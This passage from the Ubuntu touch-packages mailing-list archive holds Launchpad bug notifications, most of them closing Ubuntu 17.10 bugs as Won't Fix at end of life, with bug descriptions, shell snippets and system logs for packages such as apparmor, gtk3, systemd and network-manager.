not be fixed for that specific release.

** Changed in: ust (Ubuntu Artful)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ust in Ubuntu.
https://bugs.launchpad.net/bugs/1733683

Title:
  python3-lttngust tries to load unversionned agent library

Status in ust package in Ubuntu:
  New
Status in ust source package in Xenial:
  Fix Committed
Status in ust source package in Zesty:
  Fix Committed
Status in ust source package in Artful:
  Won't Fix

Bug description:
  The python3-lttngust package contains bindings that use ctypes to
  interact with a dedicated library provided by the liblttng-ust-python-
  agent0. The python code loads the library by name but it targets the
  un-versioned ".so" which is part of the dev package.

  This means that when installed without the dev package the bindings
  won't work.

  The fix is to load the library by name and use the SONAME version
  ".so.0".

  I'll provide a debdiff for the affected versions.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ust/+bug/1733683/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1746463] Re: apparmor profile load in stacked policy container fails

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apparmor (Ubuntu Artful)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1746463

Title:
  apparmor profile load in stacked policy container fails

Status in snapd:
  Triaged
Status in apparmor package in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  Confirmed
Status in linux-gcp package in Ubuntu:
  Fix Released
Status in apparmor source package in Xenial:
  Won't Fix
Status in linux source package in Xenial:
  Invalid
Status in linux-gcp source package in Xenial:
  Fix Released
Status in apparmor source package in Artful:
  Won't Fix
Status in linux source package in Artful:
  Fix Released
Status in linux-gcp source package in Artful:
  Invalid
Status in apparmor source package in Bionic:
  Confirmed
Status in linux source package in Bionic:
  Confirmed
Status in linux-gcp source package in Bionic:
  Fix Released

Bug description:
  LXD containers on an artful or bionic host with aa namespaces, should
  be able to load the lxc policies. However /lib/apparmor/profile-load
  skips that part when running in a container.

  aa-status shows 0 policies

  /lib/apparmor/profile-load is failing due to
  is_container_with_internal_policy() failing

  due to

  /sys/kernel/security/apparmor/.ns_name being empty which causes

if [ "${ns_name#lxd-*}" = "$ns_name" ] && \
   [ "${ns_name#lxc-*}" = "$ns_name" ]; then
return 1
fi

  to fail

To manage notifications about this bug go to:
https://bugs.launchpad.net/snapd/+bug/1746463/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1728123] Re: network rules for policy versions that don't support network rules are broken

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apparmor (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1728123

Title:
  network rules for policy versions that don't support network rules are
  broken

Status in apparmor package in Ubuntu:
  New
Status in apparmor source package in Trusty:
  New
Status in apparmor source package in Xenial:
  New
Status in apparmor source package in Zesty:
  New
Status in apparmor source package in Artful:
  Won't Fix

Bug description:
  When a feature abi that does not support network rules is loaded into
  a kernel that does, the policy is incorrectly enforced resulting in
  network denials.

  The kernel should be correctly enforcing the feature abi by not
  applying the network mediation that is explicitly not supported by the
  specified feature abi.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1728123/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700319] Re: GTK3 menus don't work over SSH forwarding

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: gtk+3.0 (Ubuntu Artful)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1700319

Title:
  GTK3 menus don't work over SSH forwarding

Status in GTK+:
  Fix Released
Status in gtk+3.0 package in Ubuntu:
  Fix Released
Status in gtk+3.0 source package in Artful:
  Won't Fix

Bug description:
  * Impact
  
  GTK interfaces used over SSH might miss their menus

  * Test case
  ---
  - connect via ssh -X to a cygwin server
  - start an application that is using menus (e.g virt-manager)
  -> the menus should work

  * Regression potential
  --
  check that gtk softwares have working menus and look the same

  Original Bug Report
  ---

  When connecting remotely (either SSH X11 forwarding or direct to X11
  server), drop down menus do not display properly.

  Bug upstream in gtk3:
  https://bugzilla.gnome.org/show_bug.cgi?id=780101

  Client: Ubuntu 17.04 - gtk3-3.22.11-0ubuntu3
  Server: Windows 10 Cygwin/X 1.19.2-1

  Programs exhibiting this problem:
  evince 3.24.0 (and any other gtk3 apps with menus along the top).

  Patch applied to gtk3 in cygwin to fix this problem and attached to this post:
  https://github.com/cygwinports/gtk3/blob/master/3.22.10-xrandr12-compat.patch

  Console errors:

  (evince:7390): GLib-GIO-CRITICAL **: g_dbus_proxy_get_name_owner:
  assertion 'G_IS_DBUS_PROXY (proxy)' failed

  (evince:7390): GLib-WARNING **: GError set over the top of a previous GError 
or uninitialized memory.
  This indicates a bug in someone's code. You must ensure an error is NULL 
before it's set.
  The overwriting error message was: The name org.freedesktop.portal.Desktop is 
not owned

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **:
  gtk_widget_get_preferred_height_for_width: assertion 'width >= 0'
  failed

  (evince:7390): Gtk-CRITICAL **: gtk_widget_get_preferred_height_for_width: 
assertion 'width >= 0' failed
  *** BUG ***
  In pixman_region32_init_rect: Invalid rectangle passed
  Set a breakpoint on '_pixman_log_error' to debug

  *** BUG ***
  In pixman_region32_init_rect: Invalid rectangle passed
  Set a breakpoint on '_pixman_log_error' to debug

  (evince:7390): Gtk-WARNING **: Negative content width -7 (allocation
  1, extents 4x4) while allocating gadget (node arrow, owner GtkMenu)

  (evince:7390): Gtk-WARNING **: Negative content width -7 (allocation 1, 
extents 4x4) while allocating gadget (node arrow, owner GtkMenu)
  *** BUG ***
  In pixman_region32_init_rect: Invalid rectangle passed
  Set a breakpoint on '_pixman_log_error' to debug

  (evince:7390): Gtk-WARNING **: Negative content width -11 (allocation
  1, extents 6x6) while allocating gadget (node menuitem, owner
  GtkModelMenuItem)

  (evince:7390): Gtk-WARNING **: Negative content width -11 (allocation
  1, extents 6x6) while allocating gadget (node menuitem, owner
  GtkModelMenuItem)

  (evince:7390): Gtk-WARNING **: Negative content width -11 (allocation
  1, extents 6x6) while allocating gadget (node menuitem, owner
  GtkModelMenuItem)

To manage notifications about this bug go to:
https://bugs.launchpad.net/gtk/+bug/1700319/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : 

[Touch-packages] [Bug 1739672] Re: Regression in getaddrinfo(): calls block for much longer on Bionic (compared to Xenial), please disable LLMNR

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: linux (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1739672

Title:
  Regression in getaddrinfo(): calls block for much longer on Bionic
  (compared to Xenial), please disable LLMNR

Status in glibc package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in glibc source package in Artful:
  Won't Fix
Status in linux source package in Artful:
  Won't Fix
Status in systemd source package in Artful:
  Won't Fix
Status in glibc source package in Bionic:
  Invalid
Status in linux source package in Bionic:
  Invalid
Status in systemd source package in Bionic:
  Fix Released

Bug description:
  When testing MAAS on Bionic, we noticed sluggish performance that we
  could not immediately explain.

  After comparing the results from a run of the test suite on Xenial to
  a run on Bionic, we determined that the slowdowns had to do with DNS
  lookups. In particular, if MAAS attempts to resolve a hostname using
  getaddrinfo() and the call fails, on Xenial the negative result is
  returned in a fraction of a second. On Bionic, the negative result is
  returned in ~1.6 seconds, according to some measures.

  ### To run the test ###

  git clone https://github.com/mpontillo/test-getaddrinfo
  cd test-getaddrinfo
  make

  ### Results on Xenial ###
  $ time ./test not-a-real-hostname
  Trying to resolve: not-a-real-hostname
  getaddrinfo errno: Success
  getaddrinfo() return value: -2 (Name or service not known)

  real  0m0.015s
  user  0m0.000s
  sys   0m0.000s

  ### Results on Bionic ###
  $ time ./test not-a-real-hostname
  Trying to resolve: not-a-real-hostname
  getaddrinfo errno: Resource temporarily unavailable
  getaddrinfo() return value: -3 (Temporary failure in name resolution)

  real  0m1.609s
  user  0m0.004s
  sys   0m0.000s

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/1739672/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1707880] Re: newly installed additional units are not started on upgrade

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: debhelper (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1707880

Title:
  newly installed additional units are not started on upgrade

Status in apt package in Ubuntu:
  New
Status in debhelper package in Ubuntu:
  Fix Released
Status in apt source package in Zesty:
  New
Status in debhelper source package in Zesty:
  New
Status in apt source package in Artful:
  Won't Fix
Status in debhelper source package in Artful:
  Won't Fix

Bug description:
  Upon upgrading apt from a version that only ships apt-daily.timer to
  the one that ships apt-daily.timer and apt-daily-upgrade.timer, the
  latter is not started on zesty and later.

  I believe this may be a bug in dh_systemd_start:

  # Automatically added by dh_systemd_start
  if [ -d /run/systemd/system ]; then
systemctl --system daemon-reload >/dev/null || true
if [ -n "$2" ]; then
_dh_action=try-restart
else
_dh_action=start
fi
deb-systemd-invoke $_dh_action apt-daily-upgrade.timer apt-daily.timer 
>/dev/null || true
  fi
  # End automatically added section

  This reduces to:
  deb-systemd-invoke try-restart apt-daily-upgrade.timer apt-daily.timer 
>/dev/null || true

  which is (after calling/checking policy-rc.d) is:
  systemctl try-restart apt-daily-upgrade.timer apt-daily.timer >/dev/null || 
true

  This is correct, for the apt-daily.timer and does nothing for the apt-
  daily-upgrade.timer. Since apt-daily-upgrade.timer is not active, try-
  restart does not start it.

  Imho, there should be an extra snippet in apt.postinst which does
  this:

  if [ -d /run/systemd/system ]; then
if dpkg --compare $2 with version that introduces 
apt-daily-upgrade.timer; then
deb-systemd-invoke start apt-daily-upgrade.timer >/dev/null || 
true
fi
  fi

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1707880/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1726730] Re: IPRoute pkg is in different version than kernel

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: iproute2 (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to iproute2 in Ubuntu.
https://bugs.launchpad.net/bugs/1726730

Title:
  IPRoute pkg is in different version than kernel

Status in iproute2 package in Ubuntu:
  Fix Released
Status in iproute2 source package in Zesty:
  New
Status in iproute2 source package in Artful:
  Won't Fix
Status in iproute2 source package in Bionic:
  Fix Released

Bug description:
  Hello,

  At the moment there is a problem with Iproute package in Zesty and
  artful.

  In Zesty the kernel version is 4.10.0, and the Iproute package is 4.9.0. 
  In Artful the kernel version is 4.13, and the Iproute is 4.9.0 too. 

  This is causing some problems in the BPF/XDP setup, some code is in
  the kernel but doesn't have the same version in Iproute, so it'll
  fail.

  Found the problem using cilium project
   and the problem was
  validated by Daniel Borkmann (iproute mantainer)

  I didn't find any related bug related to updating. If you need help to
  test/update, I can help you.

  Regards and many thanks.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1726730/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1989959] Re: Incorrect ESM coverage information

[Brian Murray]

Looking at both Ubuntu 22.04 and Ubuntu 24.04 the message indicated in
comment #1 appears in software-properties-gtk so I am setting this to
Fix Released.

** Changed in: software-properties (Ubuntu)
   Status: Triaged => Fix Released

** Changed in: software-properties (Ubuntu)
Milestone: ubuntu-22.04.2 => None

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1989959

Title:
  Incorrect ESM coverage information

Status in software-properties package in Ubuntu:
  Fix Released

Bug description:
  Software Properties says that Extended Security Maintenance provides
  security updates for over 3 Ubuntu packages, see lines 1269 and
  1346 in data/gtkbuilder/main.ui.

  According to https://ubuntu.com/16-04, Canonical provides extended
  security maintenance for binary packages that reside in the "main"
  Ubuntu repository, which contains about 7000 architecture-specific
  packages depending on the Ubuntu release. Moreover, ESM is only
  provided for a part of packages, not for all packages in the "main"
  repository.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1989959/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1707880] Re: newly installed additional units are not started on upgrade

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apt (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1707880

Title:
  newly installed additional units are not started on upgrade

Status in apt package in Ubuntu:
  New
Status in debhelper package in Ubuntu:
  Fix Released
Status in apt source package in Zesty:
  New
Status in debhelper source package in Zesty:
  New
Status in apt source package in Artful:
  Won't Fix
Status in debhelper source package in Artful:
  Won't Fix

Bug description:
  Upon upgrading apt from a version that only ships apt-daily.timer to
  the one that ships apt-daily.timer and apt-daily-upgrade.timer, the
  latter is not started on zesty and later.

  I believe this may be a bug in dh_systemd_start:

  # Automatically added by dh_systemd_start
  if [ -d /run/systemd/system ]; then
systemctl --system daemon-reload >/dev/null || true
if [ -n "$2" ]; then
_dh_action=try-restart
else
_dh_action=start
fi
deb-systemd-invoke $_dh_action apt-daily-upgrade.timer apt-daily.timer 
>/dev/null || true
  fi
  # End automatically added section

  This reduces to:
  deb-systemd-invoke try-restart apt-daily-upgrade.timer apt-daily.timer 
>/dev/null || true

  which is (after calling/checking policy-rc.d) is:
  systemctl try-restart apt-daily-upgrade.timer apt-daily.timer >/dev/null || 
true

  This is correct, for the apt-daily.timer and does nothing for the apt-
  daily-upgrade.timer. Since apt-daily-upgrade.timer is not active, try-
  restart does not start it.

  Imho, there should be an extra snippet in apt.postinst which does
  this:

  if [ -d /run/systemd/system ]; then
if dpkg --compare $2 with version that introduces 
apt-daily-upgrade.timer; then
deb-systemd-invoke start apt-daily-upgrade.timer >/dev/null || 
true
fi
  fi

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1707880/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1623125] Re: fixrtc script does not catch "Last mount time: n/a" string

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: initramfs-tools-ubuntu-core (Ubuntu Artful)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1623125

Title:
  fixrtc script does not catch "Last mount time: n/a" string

Status in Snappy:
  Fix Released
Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in initramfs-tools-ubuntu-core package in Ubuntu:
  Fix Released
Status in initramfs-tools source package in Xenial:
  Fix Released
Status in initramfs-tools-ubuntu-core source package in Xenial:
  Fix Released
Status in initramfs-tools source package in Artful:
  Fix Released
Status in initramfs-tools-ubuntu-core source package in Artful:
  Won't Fix

Bug description:
  [TEST CASE]
  * this will be tested by the snappy team
  * without this fix the dragonboard will not boot on a freshly written image

  [REGRESSION POTENTIAL]
  * low as it only fixes an invalid string

  trying to boot a new dragonboard image results in:

  error: assertion is signed with expired public key
  "-CvQKAwRQ5h3Ffn10FILJoEZUXOv6km9FwA80-Rcj-f-6jadQ89VRswHNiEB9Lxk" by
  canonical

  this is due to a clock skew that should normally be catched by the
  fixrtc script in the initrd.

  the script is supposed to check the last mount time of the writable
  disk (SD card) and if this does not exist, fall back to the filesystem
  creation time ...

  in former versions of mkfs.ext4 the last mount time filed was simply
  left empty, so this fallback worked fine ... in xenial the fields now
  look like:

  Filesystem created:   Tue Sep 13 17:32:20 2016
  Last mount time:  n/a
  Last write time:  Tue Sep 13 17:32:20 2016

  due to the script running with "set -e" it falls over on the "n/a" and
  exists before falling back to creation time, there needs to be a check
  added for the "n/a" string now.

To manage notifications about this bug go to:
https://bugs.launchpad.net/snappy/+bug/1623125/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1750465] Re: upgrade attempting to process triggers out of order (package plymouth-theme-ubuntu-text 0.9.2-3ubuntu17 failed to install/upgrade: dependency problems - leaving trig

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: kubuntu-settings (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1750465

Title:
  upgrade attempting to process triggers out of order (package plymouth-
  theme-ubuntu-text 0.9.2-3ubuntu17 failed to install/upgrade:
  dependency problems - leaving triggers unprocessed)

Status in apt package in Ubuntu:
  Invalid
Status in budgie-artwork package in Ubuntu:
  Fix Released
Status in kubuntu-settings package in Ubuntu:
  Fix Released
Status in plymouth package in Ubuntu:
  Fix Released
Status in ubuntu-gnome-default-settings package in Ubuntu:
  Fix Released
Status in ubuntu-mate-artwork package in Ubuntu:
  Fix Released
Status in apt source package in Xenial:
  Invalid
Status in kubuntu-settings source package in Xenial:
  Confirmed
Status in plymouth source package in Xenial:
  Fix Released
Status in ubuntu-gnome-default-settings source package in Xenial:
  Confirmed
Status in ubuntu-mate-artwork source package in Xenial:
  Confirmed
Status in apt source package in Artful:
  Invalid
Status in budgie-artwork source package in Artful:
  Fix Released
Status in kubuntu-settings source package in Artful:
  Won't Fix
Status in plymouth source package in Artful:
  Fix Released
Status in ubuntu-gnome-default-settings source package in Artful:
  Won't Fix
Status in ubuntu-mate-artwork source package in Artful:
  Won't Fix

Bug description:
  [SRU Justification]
  A package manager bug can cause dist-upgrades from 17.10 to 18.04 to fail 
because of trying to process triggers out of order.  Since the trigger being 
run is that of the currently-installed plymouth package, it is not guaranteed 
to be sufficient to fix the version of the package in 18.04.

  [Test case]
  1. Install plymouth-themes-ubuntu-text from -proposed.
  2. Run a release upgrade with each of update-manager -d, do-release-upgrade 
-d, and apt-get dist-upgrade (the last after manually changing sources.list).
  3. Verify that in each case, the upgrade completes successfully, with no 
errors about out-of-order trigger configuration.

  [Regression potential]
  noawait triggers have been supported in dpkg since 1.16.1, which is older 
than the version in precise 
(https://manpages.debian.org/jessie/dpkg-dev/deb-triggers.5.en.html).  A 
noawait trigger is considered appropriate whenever the triggered package does 
not need to block the triggering package.  There is no reason for a plymouth 
theme package to need to block configuration of an essential package in this 
case.  noawait triggers are well-exercised in the distro now, so the risk of 
regression from this change should be low.

  There is unfortunately not a known reproducer for the original bug, so
  the test case, while it should guard against regressions, is not
  strong confirmation that the bug is fixed.

  [Original description]
  Failure during upgrade attempt from Xubuntu 17.10 to Xubuntu 18.04

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: plymouth-theme-ubuntu-text 0.9.2-3ubuntu17
  ProcVersionSignature: Ubuntu 4.13.0-32.35-generic 4.13.13
  Uname: Linux 4.13.0-32-generic x86_64
  ApportVersion: 2.20.7-0ubuntu3.7
  Architecture: amd64
  Date: Sun Feb 18 23:41:49 2018
  DefaultPlymouth: /usr/share/plymouth/themes/xubuntu-logo/xubuntu-logo.plymouth
  ErrorMessage: dependency problems - leaving triggers unprocessed
  InstallationDate: Installed on 2017-10-24 (118 days ago)
  InstallationMedia: Xubuntu 17.10 "Artful Aardvark" - Release amd64 
(20171017.1)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 004: ID 8087:0a2a Intel Corp.
   Bus 001 Device 003: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card 
Reader Controller
   Bus 001 Device 002: ID 1bcf:2c01 Sunplus Innovation Technology Inc.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Dell Inc. Inspiron 5567
  ProcCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-32-generic.efi.signed 
root=UUID=d2256612-d86a-469b-be01-94e1fdcca333 ro quiet splash vt.handoff=1
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-32-generic.efi.signed 
root=UUID=d2256612-d86a-469b-be01-94e1fdcca333 ro quiet splash vt.handoff=1
  Python3Details: /usr/bin/python3.6, Python 3.6.4+, python3-minimal, 3.6.4-1
  PythonDetails: /usr/bin/python2.7, Python 2.7.14+, python-minimal, 2.7.14-4
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu1
   apt  1.5.1
  SourcePackage: plymouth
  TextPlymouth: /usr/share/plymouth/themes/xubuntu-text/xubuntu-text.plymouth
  Title: package plymouth-theme-ubuntu-text 0.9.2-3ubuntu17 failed to 
install/upgrade: dependency problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to bionic on 2018-02-19 (0 days ago)

[Touch-packages] [Bug 1686081] Re: If -synaptics is installed, GNOME Mouse & Touchpad Settings doesn't work

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: gnome-control-center (Ubuntu Artful)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1686081

Title:
  If -synaptics is installed, GNOME Mouse & Touchpad Settings doesn't
  work

Status in Release Notes for Ubuntu:
  Fix Released
Status in Ubuntu:
  Fix Released
Status in gnome-control-center package in Ubuntu:
  Fix Released
Status in mutter package in Ubuntu:
  Fix Released
Status in xorg package in Ubuntu:
  Invalid
Status in xubuntu-meta package in Ubuntu:
  Fix Released
Status in gnome-control-center source package in Artful:
  Won't Fix
Status in mutter source package in Artful:
  Won't Fix
Status in xorg source package in Artful:
  Invalid
Status in xubuntu-meta source package in Artful:
  Fix Released

Bug description:
  I'm splitting this issue off from LP: #1685542 (which made xserver-
  xorg-input-all no longer recommend xserver-xorg-input-synaptics) for
  tracking the remaining issues.

  gnome-control-center only supports libinput. If xserver-xorg-input-
  synaptics is installed (because it's used by some desktops which
  haven't been ported to libinput yet), synaptics overrides libinput.
  That makes gnome-control-center's Mouse & Touchpad settings panel only
  show basic settings and important configurations don't work.

  Questions
  -
  1. Which desktops/apps still need -synaptics?
  - Unity
  - Xfce?
  - LXDE? LXQt?
  All the other major desktops have already been ported (LP: #1417980)

  2. Can these apps be ported or removed before 18.04 LTS is released?

  3. Can the desktops be ported and how bad is it if they are not ported
  and -synaptics is no longer available?

  4. If -synaptics can't be removed completely from 18.04 LTS, does it
  make sense to have gnome-control-center Conflicts: xserver-xorg-input-
  synaptics?

  5. Is there any other way we can fix this conflict?

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-release-notes/+bug/1686081/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1742403] Re: package network-manager-config-connectivity-ubuntu 1.8.4-1ubuntu3 failed to install/upgrade: installed network-manager-config-connectivity-ubuntu package post-instal

[Brian Murray]

Ubuntu 17.10 (Artful Aardvark) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: network-manager (Ubuntu Artful)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1742403

Title:
  package network-manager-config-connectivity-ubuntu 1.8.4-1ubuntu3
  failed to install/upgrade: installed network-manager-config-
  connectivity-ubuntu package post-installation script subprocess
  returned error exit status 1

Status in network-manager package in Ubuntu:
  Fix Released
Status in network-manager source package in Artful:
  Won't Fix

Bug description:
  [Description]
  Installation of network-manager-config-connectivity fails if network-manager 
is not running.

  The patch appends " || true " to force-reload in the postinst script
  to not fail in this case.

  [QA]
  Test Case:
  1. On a machine without network-manager already install (eg server install) 
install network-manager-config-connectivity-ubuntu

  Expected Result:
  It installs successfully with all its dependencies

  
  buckets on errors.u.c
  https://errors.ubuntu.com/problem/ff73bf3ac18fbeb732d1d4f6676a15e24e7f7399
  https://errors.ubuntu.com/problem/6da94ccacd3e341967667bc1e7b2e83e4ac82026

  [Regression potential]
  Low to none. If the fix works the package will install, and if it does not 
work it will still fail to install.

  
  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: network-manager-config-connectivity-ubuntu 1.8.4-1ubuntu3
  ProcVersionSignature: Ubuntu 4.13.0-17.20-generic 4.13.8
  Uname: Linux 4.13.0-17-generic x86_64
  ApportVersion: 2.20.8-0ubuntu6
  Architecture: amd64
  Date: Wed Jan 10 08:50:17 2018
  ErrorMessage: installed network-manager-config-connectivity-ubuntu package 
post-installation script subprocess returned error exit status 1
  IfupdownConfig:
   # interfaces(5) file used by ifup(8) and ifdown(8)
   auto lo
   iface lo inet loopback
  InstallationDate: Installed on 2013-09-03 (1589 days ago)
  InstallationMedia: Ubuntu 13.10 "Saucy Salamander" - Alpha amd64 (20130902)
  NetworkManager.state:
   [main]
   NetworkingEnabled=true
   WirelessEnabled=false
   WWANEnabled=true
  PackageArchitecture: all
  Python3Details: /usr/bin/python3.6, Python 3.6.4, python3-minimal, 
3.6.3-0ubuntu2
  PythonDetails: /usr/bin/python2.7, Python 2.7.14+, python-minimal, 
2.7.14-2ubuntu1
  RelatedPackageVersions:
   dpkg 1.19.0.4ubuntu1
   apt  1.6~alpha5
  SourcePackage: network-manager
  Title: package network-manager-config-connectivity-ubuntu 1.8.4-1ubuntu3 
failed to install/upgrade: installed network-manager-config-connectivity-ubuntu 
package post-installation script subprocess returned error exit status 1
  UpgradeStatus: No upgrade log present (probably fresh install)
  nmcli-nm:
   RUNNING  VERSION  STATE  STARTUP  CONNECTIVITY  NETWORKING  WIFI-HW  
WIFI  WWAN-HW  WWAN
   running  1.8.4connected  started  full  enabled enabled  
disabled  enabled  enabled

To manage notifications about this bug go to:
